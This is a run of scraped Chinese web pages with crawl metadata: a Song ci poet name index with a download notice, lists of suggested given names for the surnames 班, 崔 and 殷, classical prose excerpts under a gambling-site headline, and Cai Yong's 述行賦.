鄭楷 趙淇 張磐 張林 曹良史 趙與仁 陳逢辰 史介翁 何光大 應法孫 王億之 王茂孫 朱{曰\/所}孫 鄭斗煥 周容 張涅 林式之 吳龍翰 朱嗣發 陳達叟 文天祥 鄧剡 劉鑒 臞翁 唐多令 彭元遜 方衡 聲聲慢 趙從橐 廖瑩中 丁察院 黃右曹 翁溪園 倪君奭 楊僉判 蕭某 趙文 趙功可 汪宗臣 王清觀 熊則軒 阮盤溪 危西麓 王學文 王清惠 章麗貞 袁正真 金德淑 連妙淑 黃靜淑 陶明淑 柳華淑 楊慧淑 華清淑 梅順淑 吳昭淑 周容淑 吳淑真 張瓊英 詹玉 彭履道 韋居安 柴元彪 東岡 范曦文 葉李 梁棟 莫侖 姚云文 李震 陳紀 董嗣杲 楊均 胡幼黃 熊禾 詹無咎 王槐建 劉應李 王夢應 孫銳 李琳 醴陵士人 褚生 徐君寶妻 劉氏 張淑芳 王易簡 馮應瑞 唐藝孫 呂同老 李居仁 唐玨 水龍吟 曹稆孫 林橫舟 楊舜舉 危復之 羅志仁 曾寅孫 沈欽\n劉沆 止禪師 韓信同 王炎午 徐瑞 王去疾 陳恕可 劉鉉 梁明夫 梅坡 徐觀國 阮郎中 俞克成 胡浩然 宋豐之 孫夫人 陳若晦 徐一初 陳彥章妻 鄭文妻 劉鼎臣妻 張任國 鐘辰翁 蕭仲芮 陳士豪 趙通判 趙汝恂 石麟 黃通判 高子芳 蕭仲 熊德修 范飛 程和仲 詠槐 陳夢協 靜春 王紹 程節齊 張仲殊 吳氏 吳編修 趙龍圖 竹林亭長 楊樵云 劉應雄 曾隸 黃水村 姜個翁 彭芳遠 戴山隱 李裕翁 龍端是 蕭東父 王從叔 吳元可 李太古 黃子行 龍紫蓬 蕭允之 段宏章 劉貴翁 黃霽宇 劉天迪 張半湖 劉景翔 周伯陽 尹公遠 李天驥 劉應幾 周孚先 彭泰翁 曾允元 朱元夫 邵桂子 彭子翔 百蘭 丁持正 李石才 魏順之 伍梅城 丁幾仲 禪峰 劉澗谷 游稚仙 李團湖 黃誠之 熊子默 陳惟哲 歐陽朝陽 碧虛 彭正大 葉巽齊 鐵筆翁 劉性初 劉學顏 江史君 徐架閣 立齊 黃革 陳潛心 羅子衎 劉公子 三槐 程東灣 張倅 胡德芳 趙宰 張宰 梁大年 鼓峰 程霽巖 翠微翁 菊翁 趙僉判 李慧之 楊守 草夫人 游慈 靜山 劉守 逸民 無何有翁 任翔龍 程梅齊 劉省齊 劉仁父 劉南翁 勿翁 李君行 賦梅 易少夫人 胡平仲 曹遇 白君瑞 賈應 楊元亨 林實之 劉源 曾中思 黃子功 張嗣初 沈明叔 寇寺丞 蘇小小 李秀蘭 胡夫人 丁羲叟 陶氏 吳奕 楊太尉 李子申 閭丘次杲 危昴霄 萬某 蔡士裕 覃懷高 巴州守 江無□ 劉清之 崔中 何鋤翁 呂嚴 曹休齊\n全宋詞TXT下載地址\n- 一、最全書(www.ufbmaf.icu)所有小說均為全集全本TXT小說,保證不會有任何木馬病毒,請放心下載閱讀。\n- 二、如果您覺得本站還不錯,請把本站加入到您的收藏夾里,也可以保存到桌面,以便下一次快速訪問,請您多多宣傳本站。\n- 三、如何下載小說:(本站小說主要為TXT格式,下載后可直接觀看,如是ZIP、RAR格式壓縮,建議電腦用戶下載解壓觀看。手機下載需要看教程,建議手機用戶下載)。\n- 四、本站下載的小說為TXT格式,少數為ZIP、RAR壓縮格式,電腦用戶需用WinRAR、WinZIP等軟件解壓后才可閱讀TXT小說。","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/www.ufbmaf.icu\/shici\/02477e14462d06292e918a4d51feda24.html","date":"2019-10-19T06:11:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986688826.38\/warc\/CC-MAIN-20191019040458-20191019063958-00358.warc.gz","language":"lzh","language_score":0.8436353803,"language_script":"Hani","minhash_cluster_size":24,"top_langs":"{\"lzh_Hani_score\": 0.8436353802680969, \"nan_Hani_score\": 0.1501559168100357}","num_words":1364,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.276,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.847,"perplexity_score":500.0,"cluster_detection":1} +{"text":"班姓部分出自芈姓。班姓男孩怎么起名?下面小编带来班姓男孩名字超好听,希望对大家有所帮助。部分是春秋时期楚国若敖的后代。 班沛汶 班彩民 班夏柳 班芯影 班云磊 班炀高 班睿潆 班丽祺 班艳碧 班则瀚 班武函 班鼎瀚 班东桂 班金宾 班升瑾 班璐浩 班启淙 班迹壹 班椿笠 班隆生 班矶申 班诺依 班茉萱 班汾汾 班敬义 班晨炎 班寒祥 班精睿 班昵霏 班天罪 班犷泊 班练达 班灵晟 班童炳 班韦霖 班群合 班羊羊 班翠象 班青五 班泽颢 班轶福 班步兴 班谨鸿 班七席 班辅段 班迅岂 班天皎 班尧君 班双勇 班塞妮 班弦哲 班卓伊 班韦伟 班棕达 班铢铧 班卓锐 班极澈 班杏群 班紫谣 班敏雄 班筅桠 班品箫 班润声 班洹烨 班鸿钟 班裕有 班源峰 班慕程 班海娃 班泞铭 班贤民 班鹤潇 班辆涛 班恭仪 班泽光 班继隆 班羽隽 班衣衣 班姗姗 班克道 班品利 班桌标 班狄侃 班晶诺 班恒恒 班世程 班九畴 班永柘 班兆硕 班伊达 班若奇 班亭睿 班震闻 班义智 班芳淇 班梓冶 班岑谦 班鑫朋 班几井 班小译 班贺 班王如 班代灵 班部 班觉健 班天子 班靖铛 班旭广 班奇鑫 班太振 班微继 班跃迪 班骏勇 班渭涣 班鸿科 班宏壹 班顺搏 班改 班镇楚 班烟雨 班承洲 班宇璨 班闻骅 班倚羽 班芷影 班智省 班钰蕉 班榕彤 班偌齐 班姗迟 班渲晔 班芷玮 班纵峻 班花禹 班划一 班象林 班草儿 班姜朋 班子谣 班少戌 班渝昃 班瑜浩 班捃元 班荣章 班千念 班二林 班济鸿 班锦淳 班乐柯 班跃天 班恩乐 班乃雄 班慧伶 班屹瀚 班哲仕 班帮庆 班粟菡 班甚有 班琰陈 班蛰涵 班沉希 班君笠 班庶莎 班俊址 班泰晰 班楠南 班莜镧 班家滟 班兆竣 班冬萱 班禧豪 班立同 班兴家 班礼叶 班妲情 班立澄 班珊铭 班勉权 班中吉 班佰淳 班绍南 班炜娉 班璐羽 班思茂 班社雨 班韵盈 班松路 班彗宏 班聆淇 班方泊 班姐饧 班芳涵 班腾涵 班逢园 班晓团 班晶懿 班蕴广 班廷珊 班凉凉 班哲寸 班变华 班富裕 班基洋 班靖昊 班昌瑾 班旋菲 班鸶鸶 班轩亨 班绮棋 班合双 班永尚 班莆睿 班鉴绎 班丰荼 班佳部 班绣凤 班似有 班溢矽 班钊兰 班野非 班勉铭 班睿戈 班随富 班瑞纬 班摩山 班鑫斐 班品进 班洁澍 班向晴 班珂景 班蓝晓 班褚桦 班锌忻 班健苗 班鸢娈 班若谦 班常致 班益诺 班星盈 班浏羽 班芷青 班春荔 班珂良 班渲鸯 班炳曙 班盈吟 班岭馨 班嘉禾 班余 班煜柯 班佳晗 班祉宜 班杰莜 班昆建 班承铀 班添尚 班戌象 班庥廉 班树铤 班欢妮 班刚意 班皑芸 班嗣渊 班蔚辛 班吉函 班惠广 班各 班爱坤 班育明 班昱茜 班锡坤 班语雁 班延鸽 班海鹬 班飞蝶 班珈绡 班羊趾 班百炬 班畅遥 班田磬 班锋超 班敬千 班紫箐 班军来 班曦 班氢名 班厚炫 班世卜 班酉民 班朱青 班琼寒 班成印 班民道 班银荣 班芯兰 班蓓珍 班捷焙 班育瀛 班兆含 班强 班角藤 班金绎 班乐烁 班佳潍 班祉昕 班江勇 班昌强 班拉米 班韦加 班冰沙 班芮峻 班栗圆 班炳秉 班城竹 班勉弋 班靖金 班化章 班姝艺 班宵廷 班冠曦 班籽芯 班瑞柯 班嘉伍 班婉旖 班蓝誉 班弋琅 班佳永 班佳宛 班明哲 班超丹 班溢筠 班力止 班伯抒 班鸡专 班伦言 班晖育 班贺欣 班泰天 班炫君 班贵伟 班元豹 班芮支 班筱幽 班墁一 班卿如 班茈芊 班炳翼 班沈锐 班文逊 班民意 班畅瞳 班星沂 班靓璎 班志影 班帅至 班炎光 班怀梓 班唤朝 班增保 班柰旦 班朗熙 班泰仕 班卓晟 班蝌 班易亿 班泰利 班兆莲 班聪钰 班冕旭 班日灵 班芘 班敏讷 班利稳 班掩措 班西翔 班银柳 班杉淇 班依林 班椿萱 班泉圣 班毓睁 班晋宇 班兢臾 班承显 班耀鸣 班潮西 班暖沐 班彪 班香福 班各有 班致力 班璐芸 班轩禹 班京泉 班付童 班子猫 班巍源 班婉凝 班森如 班昊亿 班宁庆 班崇儒 班炜巍 班鸣皓 班煜溪 班博畋 班旭同 班平松 班勉仪 班留中 班坚沂 班译敏 班倪帆 班勉铄 班恩竣 班舟旭 班育仕 班顺口 班佶恒 班向博 班珏昊 班程允 班天铧 班苑青 班潮豪 班和灿 班言誉 班涌珩 班运龙 班金圆 班锡南 班玉盛 班启晓 班吴天 班厕所 班业高 班潼菲 班绛彤 班绫锋 班芷珊 班璐希 班和霖 班计壹 班熙堇 班绫箫 班廷勇 班绪疆 班鸿开 班厅跞 班谷丰 班千祥 班子迂 班训晗 班紫蔓 班玫意 班芸绮 班孙霄 班琼舒 班扬抑 班杨俏 班光起 班行函 班远柏 班栈喜 班程霖 班哲览 班没药 班双雄 班绎喜 班灵传 班政纶 班瑾朋 班赫宜 班欣广 班若杉 班得玺 班泓娇 班佳纬 班毅任 班举辉 班红锴 班止喜 班芮浩 班湘斐 班晨帆 班国港 班沐易 班子淑 班仡豪 班璁涵 班丹乔 班肇藩 班丹鸯 班铊骊 班西彬 班蕙萌 班鹭明 班芮珊 班融萱 班希炳 班其仁 班东缘 班伯荃 班虹娇 班品荣 班其波 班鑫诺 班润捷 班奕贤 班锦帛 班桐言 班衡权 班湛超 班日龄 班松宸 班越武 班芮蕴 班钰遥 班佳三 班汤君 班艺沙 班俪郸 班天成 班发东 班沐椿 班佑辰 班凯觉 班健升 班筱雷 班昱合 班年兵 班骏同 班画诒 班符遥 班孝瑞 班昱昂 班仕锟 班语姿 班春裕 班肇靖 班雾峰 班恩仕 班振卫 班有茗 班红冰 班瓴皓 班霸兴 班缨棂 班治鸿 班涂晁 班则辰 班晖城 班红垲 班粢源 班澄霖 班明捃 班昆尚 班迈初 班沈辰 班冀南 班盈韵 班晓明 班小雨 班硕同 班泳澄 班晟菲 班易然 班付刚 班炳夕 班伟默 班小鹤 班骏安 班酝广 班辉韵 班轶阳 班贤宗 班冰幸 班步清 班绩雄 班鹏取 班筅雅 班郅罡 班虎伟 班瓒宇 班钶镧 班如淇 班鑫盱 班远常 班宏坚 班纪蒈 班似憬 班琅昆 班凌毅 班澜淇 班炳钤 班君惠 班愿畅 班塑涵 班锋宇 班智翎 班鹂王 班思庭 班汝取 班孕 班际卫 班专铄 班禺佳 班琛力 班炽明 班文彦 班辰东 班海纺 班迈庆 班越仝 班丛叶 班振铄 班奇 班耀晶 班桂伶 班艺晓 班家余 班林岳 班祝均 班小纳 班然溪 班发官 班喧淇 班资刚 班赛超 班吉珞 班慧琪 班雨僖 班晋银 班真懿 班安麒 班几吧 班晨远 班耿阳 班泉远 班社香 班语荷 班汶霏 班中波 班锦宛 班贻甯 班富辉 班战水 班靓钰 班勉祯 班花羽 班中卓 班楚茜 班亦灿 班人斋 班非雨 班瑞根 班倡舟 班干踔 班宏摈 班熙翔 班语苗 班玄生 班舒伊 班烨和 班戟洵 班相显 班达兴 班海草 班智永 班茗煜 班泰罗 班东广 班蒂奈 班竟瀚 班海舛 班菁恋 班愈沙 班贝风 班极落 班伊咏 班凌驳 班子裕 班洪铬 班珂仡 班张绍 班菘 班楚沛 班瑞嶙 班光麟 班工占 班义表 班华秋 班情溧 班从广 班亦央 班国继 班韵鹤 班宁煊 班鸿业 班香晴 班年保 班正棱 班晨薰 班宗焊 班瀚烘 班世雨 班桂扬 班艾清 班荠帏 班潇强 班陈铵 班德劭 班诺妩 班吉仪 班旦焰 班逄力 班宪巨 班剑彪 班煜棋 班慧玟 班烨菲 班浠诺 班丽丹 班静松 班颖泺 班安忡 班禹至 班绎坤 班义儒 班弘夏 班冀旭 班存锡 班凡骐 班苗珍 班台佑 班聿澍 班友恒 班尚卓 班庆坡 班宵觊 班朱轶 班浚岗 班律师 班颖沅 班为保 班荣骥 班祉裔 班田为 班增晓 班舅爷 班帮春 班岳祯 班奇麟 班朋霖 班博滦 班憧坤 班泳攸 班有升 班细娇 班慎举 班钰盛 班皇鄢 班承韬 班钰鲚 班羽柔 班佳军 班依澜 班本坷 班忆源 班镌晟 班欢庆 班磊 班碧郡 班玟希 班浩艺 班奕斫 班西曦 班睿铂 班玟章 班洛焉 班文庚 班还生 班纪成 班苏欣 班冈涵 班乃凤 班家越 班项仰 班帛棕 班凤球 班迎清 班亦莎 班耿河 班新自 班僖睿 班自弛 班热望 班伟臣 班圆增 班颂衡 班骨棒 班明蝶 班芯奕 班渊麟 班育俊 班庆侠 班宸麟 班家殷 班愉蕉 班瑜男 班歌涛 班哲丞 班晓芮 班蕾莺 班棕币 班楚丹 班刁厅 班千懿 班耀蔚 班双栋 班琦越 班丹妤 班太来 班丰贺 班浩焊 班张隽 班鸷珍 班莞舒 班温博 班侏 班伯珍 班治纲 班国瀚 班育濠 班应奎 班利丘 班清道 班汝智 班峻朗 班宇碧 班文典 班嘉武 班涟荣 班希祥 班椿淋 班基塔 班晋朋 班翎凤 班艺溱\n鑫力旅游用品公司班氏在宋版百家姓中排序为第二百三十五位。\n关键词: 男孩起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.guangdongpost.com\/nanhaiqiming\/737.html","date":"2019-12-13T05:33:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540548544.83\/warc\/CC-MAIN-20191213043650-20191213071650-00087.warc.gz","language":"lzh","language_score":0.4950928092,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.49509280920028687, \"nan_Hani_score\": 0.2767517566680908, \"yue_Hani_score\": 0.16160239279270172, \"cmn_Hani_score\": 0.04896872490644455, \"jpn_Jpan_score\": 0.013391479849815369}","num_words":853,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.496,"perplexity_score":500.0,"cluster_detection":1} +{"text":"本站提示:以下提供的所有名字僅供參考,並非針對八字分析後的權威結果,請仔細斟酌後在套用。\n崔振培 崔秉韜 崔孱 崔振堯 崔柱 崔劭斌 崔劭偵 崔柏勛 崔正愛 崔艷輝 崔朝相 崔以騰 崔聖軒 崔琦軒 崔昭軒 崔奇軒 崔佳軒 崔孜軒 崔谷龍 崔裕龍 崔小虎 崔紅紫 崔更水 崔振傑 崔哲愷 崔潤哲 崔岩浩 崔曉安 崔芳碩 崔和碩 崔佳木 崔劭永 崔蓮香 崔劭帆 崔劭仲 崔劭鵬 崔劭源 崔劭寧 崔淮之 崔翰肅 崔清志 崔翰群 崔翰衡 崔翰衢 崔曉光 崔子綺 崔翰庚 崔軼喧 崔麗偉 崔根良 崔時豪 崔峻華 崔顥繽 崔一宸 崔瑞軒 崔汽車 崔澤凡 崔森桂 崔本華 崔小言 崔希 崔靖欣 崔麗春 崔吉東 崔翰足 崔翰辰 崔翰序 崔顥藍 崔國銳 崔榮泰 崔開軒 崔珂嘉 崔邈曦 崔元博 崔坤賢 崔印庭 崔博泓 崔光國 崔包涵 崔麗華 崔亞民 崔偉浩 崔素傑 崔智情 崔智舜 崔鳳琪 崔應波 崔甜幗 崔亦丹 崔夢毅 崔清梓 崔惠嫻 崔鶩予 崔箕雲 崔亦賾 崔冼玢 崔宏勛 崔自默 崔未聞 崔鳳時 崔紫木 崔語堂 崔堂堂 崔景鼎 崔慈 崔明霄 崔書克 崔珊珊 崔瀅煜 崔程邵 崔文滔 崔書滔 崔馮邵 崔軼童 崔藝煒 崔書煒 崔天程 崔鵬程 崔佳明 崔萬程 崔昊東 崔劭成 崔茜 崔劭生 崔粲粲 崔紅雨 崔喜樂 崔文粲 崔坤 崔金平 崔達洲 崔曉鵬 崔為欣 崔為新 崔文菲 崔雨荷 崔玄暉 崔哲剛 崔網珍 崔劭龍 崔劭譽 崔逢源 崔劭達 崔劭樺 崔劭學 崔涵晶 崔劭燁 崔劭憲 崔劭玻 崔邵玻 崔林發 崔樂 崔姍 崔志建 崔惠林 崔艷華 崔光磊 崔宏濱 崔驊慶 崔花慶 崔樺慶 崔華晴 崔華清 崔華青 崔華箐 崔華卿 崔華慶 崔文豪 崔志平 崔喜鳳 崔艷傑 崔積福 崔翰夫 崔翰貫 崔可心 崔翰堂 崔翰霖 崔浙夫 崔翠 崔熙元 崔熙瑗 崔翰廷 崔翰凌 崔辰遠 崔翰霄 崔翰庭 崔維翰 崔星馳 崔振翰 崔立林 崔立翰 崔立漢 崔立仟 崔恆平 崔立衛 崔世鋼 崔立豐 崔鶴 崔敬偉 崔雲山 崔霄霄 崔浠盈 崔紅景 崔盈浠 崔長勇 崔盈塋 崔奕斌 崔曉璇 崔延澤 崔鉑 崔喃媼 崔煒晉 崔浩錦 崔粉桃 崔容瑋 崔容宣 崔雲皓 崔玄輝 崔琰 崔永琰 崔哲宣 崔振耀 崔天洙 崔連軍 崔駿峰 崔秉駿 崔秉輝 崔秉昌 崔明昌 崔志昌 崔盛昌 崔永昌 崔會珠 崔耀祖 崔海炎 崔志煒 崔浩宇 崔志晨 崔子晨 崔明豪 崔英傑 崔明輝 崔義凡 崔德旺 崔一銘 崔一明 崔德瑞 崔明浩 崔海漢 崔鳴浩 崔元翰 崔福洋 崔亦宏 崔翰飛 崔羽岐 崔鶯 崔文匯 崔亦延 崔殿政 崔振城 崔英海 崔義培 崔振興 崔銀銀 崔連香 崔澤銘 崔德盛 崔牛 崔聖傑 崔德安 崔世忠 崔炳晨 崔炳濤 崔呈普 崔義堅 崔炎輝 崔秉炎 崔慶森 崔雲哲 崔皓禹 崔衛國 崔芷馨 崔春業 崔春需 崔武 崔義聲 崔袁禎 崔瑗真 崔丁月 崔元禎 崔松年 崔真粲 崔依粲 崔粲燦 崔粲樂 崔粲璨 崔粲兒 崔心粲 崔粲然 崔一粲","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/dr.itsfun.com.tw\/xingming\/mzdq\/5719.html","date":"2020-04-10T02:58:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585371883359.91\/warc\/CC-MAIN-20200410012405-20200410042905-00530.warc.gz","language":"lzh","language_score":0.9990550876,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.9990550875663757}","num_words":301,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.251,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"宏发娱乐快三韩国明天可能宣布规模27万亿韩元的市场措施\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之\n八月,赵相国陈豨反代地。上曰:\"豨尝为吾使,甚有信。代地吾所急也,故封豨为列侯,以相国守代,今乃与王黄等劫掠代地!代地吏民非有罪也。其赦代吏民。\"九月,上自东往击之。至邯郸,上喜曰:\"豨不南据邯郸而阻漳水,吾知其无能为也。\"闻豨将皆故贾人也,上曰:\"吾知所以与之。\"乃多以金啗豨将,豨将多降者。\n万石孝谨,自家形国。郎中数马,内史匍匐。绾无他肠,塞有阴德。刑名张欧,垂涕恤狱。敏行讷言,俱嗣芳躅。\n凡音者,生於人心者也;乐者,通於伦理者也。是故知声而不知音者,禽兽是也;知音而不知乐者,众庶是也。唯君子为能知乐。是故审声以知音,审音以知乐,审乐以知政,而治道备矣。是故不知声者不可与言音,不知音者不可与言乐知乐则几於礼矣。礼乐皆得,谓之有德。德者得也。是故乐之隆,非极音也;食飨之礼,非极味也。清庙之瑟,硃弦而疏越,一倡而三叹,有遗音者矣。大飨之礼,尚玄酒而俎腥鱼,大羹不和,有遗味者矣。是故先王之制礼乐也,非以极口腹耳目之欲也,将以教民平好恶而反人道之正也。\n其秋,汉王追楚至阳夏南,战不利而壁固陵,诸侯期不至。良说汉王,汉王用其计,诸侯皆至。语在项籍事中。","id":"","dump":"CC-MAIN-2020-16","url":"http:\/\/kzwqh.bjfangxunwuzi.com\/dthwg\/953661.html","date":"2020-03-31T13:13:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370500482.27\/warc\/CC-MAIN-20200331115844-20200331145844-00094.warc.gz","language":"lzh","language_score":0.4423672259,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.44236722588539124, \"cmn_Hani_score\": 0.29253697395324707, \"nan_Hani_score\": 0.14900922775268555, \"wuu_Hani_score\": 0.01627757027745247, \"zxx_Latn_score\": 0.012528708204627037}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.175,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.354,"perplexity_score":500.0,"cluster_detection":1} +{"text":"延熹二年秋,霖雨逾月。是時梁冀新誅,而徐璜、左悺等五侯擅貴於其處。又起顯陽苑於城西,人徒凍餓,不得其命者甚眾。白馬令李雲以直言死,鴻臚陳君以救雲抵罪。璜以餘能鼓琴,白朝廷,敕陳留太守發遣餘。到偃師,病不前,得歸。心憤此事,遂托所過,述而成賦。\n餘有行於京洛兮,遘淫雨之經時。塗迍邅其蹇連兮,潦汙滯而為災。乘馬蟠而不進兮,心鬱悒而憤思。聊弘慮以存古兮,宣幽情而屬詞。\n夕宿餘於大梁兮,誚無忌之稱神。哀晉鄙之無辜兮,忿朱亥之篡軍。曆中牟之舊城兮,憎佛肸之不臣。問寧越之裔胄兮,藐髣髴而無聞。\n經圃田而瞰北境兮,晤衛康之封疆。迄管邑而增感歎兮,慍叔氏之啟商。過漢祖之所隘兮,吊紀信於滎陽。\n降虎牢之曲陰兮,路丘墟以盤縈。勤諸侯之遠戍兮,侈申子之美城。稔濤塗之愎惡兮,陷夫人以大名。登長阪以淩高兮,陟蔥山之嶢陘;建撫體以立洪高兮,經萬世而不傾。回峭峻以降阻兮,小阜寥其異形。岡岑紆以連屬兮,溪穀夐其杳冥。迫嵯峨以乖邪兮,廓嚴壑以崢嶸。攢棫樸而雜榛楛兮,被浣濯而羅生。步亹菼與台菌兮,緣層崖而結莖。行遊目以南望兮,覽太室之威靈。顧大河於北垠兮,瞰洛汭之始並。追劉定之攸儀兮,美伯禹之所營。悼太康之失位兮,湣五子之歌聲。\n尋修軌以增舉兮,邈悠悠之未央。山風汩以飆湧兮,氣懆懆而厲涼。雲鬱術而四塞兮,雨濛濛而漸唐。仆夫疲而劬瘁兮,我馬虺隤以玄黃。格莽丘而稅駕兮,陰曀曀而不陽。\n哀衰周之多故兮,眺瀕隈而增感。忿子帶之淫逆兮,唁襄王於壇坎。悲寵嬖之為梗兮,心惻愴而懷慘。\n乘舫州而泝湍流兮,浮清波以橫厲。想宓妃之靈光兮,神幽隱以潛翳。實熊耳之泉液兮,總伊瀍與澗瀨。通渠源於京城兮,引職貢乎荒裔。操吳榜其萬艘兮,充王府而納最。濟西溪而容與兮,息鞏都而後逝。湣簡公之失師兮,疾子朝之為害。\n玄雲黯以凝結兮,集零雨之溱溱。路阻敗而無軌兮,塗濘溺而難遵。率陵阿以登降兮,赴偃師而釋勤。壯田橫之奉首兮,義二士之俠墳。 佇淹留以候霽兮,感憂心之殷殷。並日夜而遙思兮,宵不寐以極晨。候風雲之體勢兮,天牢湍而無文。彌信宿而後闋兮,思逶迤以東運。見陽光之顥顥兮,懷少弭而有欣。\n命仆夫其就駕兮,吾將往乎京邑。皇家赫而天居兮,萬方徂而星集。貴寵煽以彌熾兮,僉守利而不戢。前車覆而未遠兮,後乘驅而競及。窮變巧於台榭兮,民露處而寢洷。消嘉穀於禽獸兮,下糠粃而無粒。弘寬裕於便辟兮,糾忠諫其駸急。懷伊呂而黜逐兮,道無因而獲人。唐虞渺其既遠兮,常俗生於積習。周道鞠為茂草兮,哀正路之日歰。\n觀風化之得失兮,猶紛挐其多遠。無亮采以匡世兮,亦何為乎此畿?甘衡門以寧神兮,詠都人而思歸。爰結蹤而回軌兮,複邦族以自綏。\n亂曰:跋涉遐路,艱以阻兮。終其永懷,窘陰雨兮。曆觀群都,尋前緒兮。考之舊聞,厥事舉兮。登高斯賦,義有取兮。則善戒惡,豈雲苟兮?翩翩獨征,無儔與兮。言旋言複,我心胥兮。","id":"","dump":"CC-MAIN-2020-40","url":"http:\/\/big5.shicidaquan.net\/shici_517.html","date":"2020-09-22T18:20:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600400206329.28\/warc\/CC-MAIN-20200922161302-20200922191302-00739.warc.gz","language":"lzh","language_score":0.6200469732,"language_script":"Hani","minhash_cluster_size":5,"top_langs":"{\"lzh_Hani_score\": 0.6200469732284546, \"cmn_Hani_score\": 0.11770045012235641, \"nan_Hani_score\": 0.04304429143667221, \"zxx_Latn_score\": 0.03558139130473137, \"yue_Hani_score\": 0.02178039401769638, \"jpn_Jpan_score\": 0.017201906070113182, \"und_Hira_score\": 0.01579217053949833, \"und_Tang_score\": 0.013563924469053745}","num_words":13,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.499,"perplexity_score":500.0,"cluster_detection":1} +{"text":"提示:以下名字仅为在你起名时提供参考,请勿在未做分析的前提下直接使用。\n殷莉茹 殷淇茹 殷汔茹 殷汐茹 殷泾茹 殷沥茹 殷薇茹 殷栎茹 殷怡铃 殷婧铃 殷大文 殷术芳 殷海丽 殷敏洁 殷静燕 殷春娜 殷春艳 殷敏茹 殷婉悦 殷永芳 殷玮秀 殷秀平 殷汝秀 殷如秀 殷碧秀 殷娴秀 殷秀颖 殷宛秀 殷琬秀 殷秀馨 殷秀嘉 殷馨秀 殷婉秀 殷佳秀 殷学颖 殷德琼 殷雨嫣 殷克玉 殷锘洁 殷钰梅 殷熙妍 殷愫妍 殷硕妍 殷菊红 殷木媛 殷酉雪 殷倪妍 殷莞秀 殷贵蓉 殷莉敏 殷允燕 殷睿颖 殷孝梅 殷鑫婷 殷梨娟 殷茹娟 殷文红 殷焕红 殷荣丽 殷莹蕊 殷莉霞 殷立娜 殷维玲 殷丽芬 殷一红 殷爱花 殷铭文 殷豪洁 殷霏雪 殷君梅 殷妮娜 殷积文 殷佳茹 殷传文 殷传冉 殷皓琳 殷秀秀 殷涵秀 殷文莉 殷华丽 殷翠娥 殷山梅 殷云英 殷诗瑶 殷忻秀 殷玉丽 殷玉莉 殷钰莉 殷钰丽 殷珏琼 殷侬琴 殷焕霞 殷燕东 殷四梅 殷轶芳 殷倩慧 殷沃文 殷湘婷 殷若倩 殷渝文 殷庭悦 殷翠玉 殷哲娅 殷秀琳 殷雪茹 殷菊花 殷杰文 殷利霞 殷绣梅 殷宗梅 殷梓怡 殷莅丽 殷绮芬 殷琦芬 殷淇芬 殷柒芬 殷琪芬 殷棋芬 殷启芬 殷其芬 殷朝红 殷韶梅 殷韶萍 殷圣洁 殷璐婷 殷淑婷 殷友美 殷英丽 殷益文 殷崇蓉 殷呈悦 殷桂婷 殷剑琴 殷羽婷 殷心妍 殷馨妍 殷丽婷 殷学霞 殷有美 殷丽英 殷怡源 殷莲花 殷照萍 殷淑燕 殷新娥 殷康娜 殷妍芝 殷顺梅 殷芮英 殷一梅 殷凤茹 殷方颖 殷广莉 殷一冉 殷贻倩 殷笑倩 殷鸿莉 殷虹丽 殷礼莉 殷吉玉 殷庆媛 殷妙洁 殷陶洁 殷思芳 殷利娟 殷再冉 殷中玲 殷俊英 殷剑红 殷嫣泽 殷宗艳 殷利梅 殷语洁 殷虹婧 殷自文 殷菁嫣 殷群娥 殷丹霞 殷伊婷 殷帅文 殷红萍 殷宏丽 殷洪丽 殷洪莉 殷宏莉 殷林芳 殷悦滢 殷妃玉 殷秀玉 殷妍如 殷瑞妍 殷妍瑞 殷晶芳 殷蔚洁 殷铭洁 殷梓洁 殷梵悦 殷有琳 殷剑霞 殷枥茹 殷宪美 殷洪燕 殷梦婷 殷湘怡 殷莉寒 殷慧颖 殷秀彤 殷悦萱 殷悦宣 殷悦曦 殷瑞倩 殷瑞芬 殷耀丽 殷岳丽 殷娅娴 殷娅荔 殷妍蕙 殷涵悦 殷瑞怡 殷瑞萍 殷锦文 殷燕楠 殷燕桐 殷思媛 殷童洁 殷玉花 殷靓茹 殷倩茹 殷孩芳 殷桂芬 